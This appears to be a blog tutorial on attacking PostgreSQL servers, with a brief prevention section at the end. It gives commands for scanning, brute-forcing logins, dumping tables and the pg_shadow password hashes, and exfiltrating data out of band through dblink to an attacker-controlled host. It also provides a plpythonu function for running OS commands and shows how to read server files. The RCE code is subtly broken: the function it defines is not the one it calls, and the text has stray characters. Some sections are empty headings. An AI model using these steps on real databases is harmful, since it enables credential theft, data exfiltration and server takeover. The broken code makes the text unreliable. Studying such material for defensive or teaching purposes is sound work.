PostgreSQL is the world’s most advanced enterprise-class open source database management system that is developed by the PostgreSQL Global Development Group. It is a powerful and highly-extensible object-relational SQL (Structured Query Language) database system popular for its reliability, feature robustness, and high performance. It is known to be highly scalable, both in the amount of data it can store and manage and in the number of concurrent users it can accommodate.
How does it work?
PostgreSQL uses a client-server model where the client and the server can reside on different hosts in a networked environment. The server program manages the database files, accepts connections to the database from client applications. It can handle multiple concurrent connections from clients by “forking” a new process for each connection. It executes database requests from clients and sends the results back to the clients. Remote clients can connect over the network or internet to the server.
Discovery and version fingerprinting:
By default PostgreSQL databases are listening on port 5432. During the port scan stage, if this port is found open then it is likely a PostgreSQL installation to run on the host.
We can use a simple NMAP command to find it:-
nmap -sV 192.168.100.11 -p 5432
Alternatively Metasploit Framework has a specific module which can be used to identify PostgreSQL databases and their version:-
auxiliary/scanner/postgres/postgres_version
Discovery of database credentials:
It is very common to find in shared folders configuration files that might contain usernames and passwords for accessing the database. However if this is not feasible then the following Metasploit module can assist in the discovery of credentials by performing a brute force attack:
auxiliary/scanner/postgres/postgres_login
This is an important step, as without database credentials it would be harder to compromise the host since the majority of the activities require database access.
Database Access:
Kali Linux distributions contain, by default, the psql utility which allows a user to authenticate with a PostgreSQL database if the username and the password are already known.
Run this command to find it:-
psql -h 192.168.100.11 -U postgres
Upon connection with the database the following set of activities should be performed:
- Enumeration of Existing Databases
- Enumeration of Database Users
- Enumeration of Database Tables
- Retrieving Table Contents
- Retrieving Database Passwords
- Dumping Database Contents
The following commands will execute the above tasks:
postgres-# l
postgres-# du
template1=# dt
template1=# SELECT * FROM users;
postgres-# SELECT usename, passwd FROM pg_shadow;
pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
Checking for SQL injections in PostgreSQL:
Network Interaction - privilege escalation, port scanner, NTLM challenge response disclosure & exfiltration:
dblink is a PostgreSQL module that offers several interesting options from the attacker point of view. It can be used to connect to other PostgreSQL instances to perform TCP connections.
These functionalities along with the COPY FROM functionality can be used to escalate privileges, perform port scanning, or grab NTLM challenge responses.
Because the pg_sleep also doesn't cause delay, we can safely assume if query execution occurs in the background or asynchronously.
Normally, dblink_connect can be used to open a persistent connection to a remote PostgreSQL database (e.g. SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')). Because we can control the parameter of this function, we can perform SQL Server Side Request Forgery to our own host. That means, we can perform Out-of-Band SQL Injection to exfiltrate data from SQL query results. There, at least, are two ways to do this:
- Set up a DNS server and then trigger the connection to odata].our.domain so that we can see the data in the log or in the DNS network packets.
- Set up a public PostgreSQL server, monitor the incoming network packets to PostgreSQL port, and then trigger a connection to our host with exfiltrated data as user/dbname. By default, PostgreSQL doesn't use SSL for communication so we can see user/dbname as a plain-text on the network.
PL/pgSQL password bruteforce:
PL/pgSQL, as a fully featured programming language, allows much more procedural control than SQL, including the ability to use loops and other control structures. SQL statements and triggers can call functions created in the PL/pgSQL language. You can abuse this language in order to ask PostgreSQL to brute-force the user’s credentials.
Checking RCE in PostgreSQL:
RCE with PostgreSQL Languages:-
The PostgreSQL database you got access to may have different scripting languages installed that you could abuse to execute arbitrary code.
You can get them running with this query:-
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Most of the scripting languages you can install in PostgreSQL have two flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
A code for RCE in plpythonu/plpython3u would be:
**CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, v"/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve**
Command Execution:
PostgreSQL databases can interact with the underlying operating by allowing the database administrator to execute various database commands and retrieve output from the system using this command:-
postgres=# select pg_ls_dir('./');
By executing the following command it is possible to read server side postgres files:-
postgres=# select pg_read_file('PG_VERSION', 0, 200);
Preventions for PostgreSQL:
There are a few methods which can be implemented to prevent above mentioned vulnerabilities if configured properly:
- Don’t use trust security. Edit your pg_hba.conf to use a non-trust authentication method like MD5. Additionally, remote login access on template1 and PostgreSQL default databases should be revoked.
- Use hash-based column encryption for values that don't need to be decrypted: Encryption methods such as AES are two-way—they can be decrypted—while hash-based encryption methods such as MD5 are one-way. For values that only need to be check for a match such as passwords, use one-way encryption for an added layer of security in the event that table data is compromised
- Lock down port-level access to the PostgreSQL database: A limited set of ports should have network access to the database: the database port itself and any necessary management ports. All other ports that allow network access to the database should be locked down.
- Use pg_hba.conf to specify which hosts can use SSL-encrypted and unencrypted connections: This can be accomplished by adding and removing the appropriate entries in the pg_hba.conf file. Generally-speaking, all clients should be forced to connect with SSL by adding the necessary hostssl entries. If using this model, all host entries should be removed (aside from localhost).
- Use physical separation to isolate datasets that need to be kept apart: By using pg_hba and RBAC to control access to physically disparate databases, you ensure that data in two tables cannot be accessed/viewed simultaneously. Of course, this will break SQL joins, so only use in appropriate scenarios that require physical access separation during the life of a login session.
- Stay on top of critical security updates and patches: This is not only a rule of thumb for all software systems in general, but a PCI-DSS requirement if your PostgreSQL-based web application or ecommerce store is storing sensitive credit card information. Checking PostgreSQL’s security information page regularly and frequently for critical security updates and patches can effectively satisfy this requirement.
So, let me know what you think of this blog and whether it was helpful to you. If you have questions related to this topic, I am more than happy to answer them! I have put together some reference material around the topic below:
References: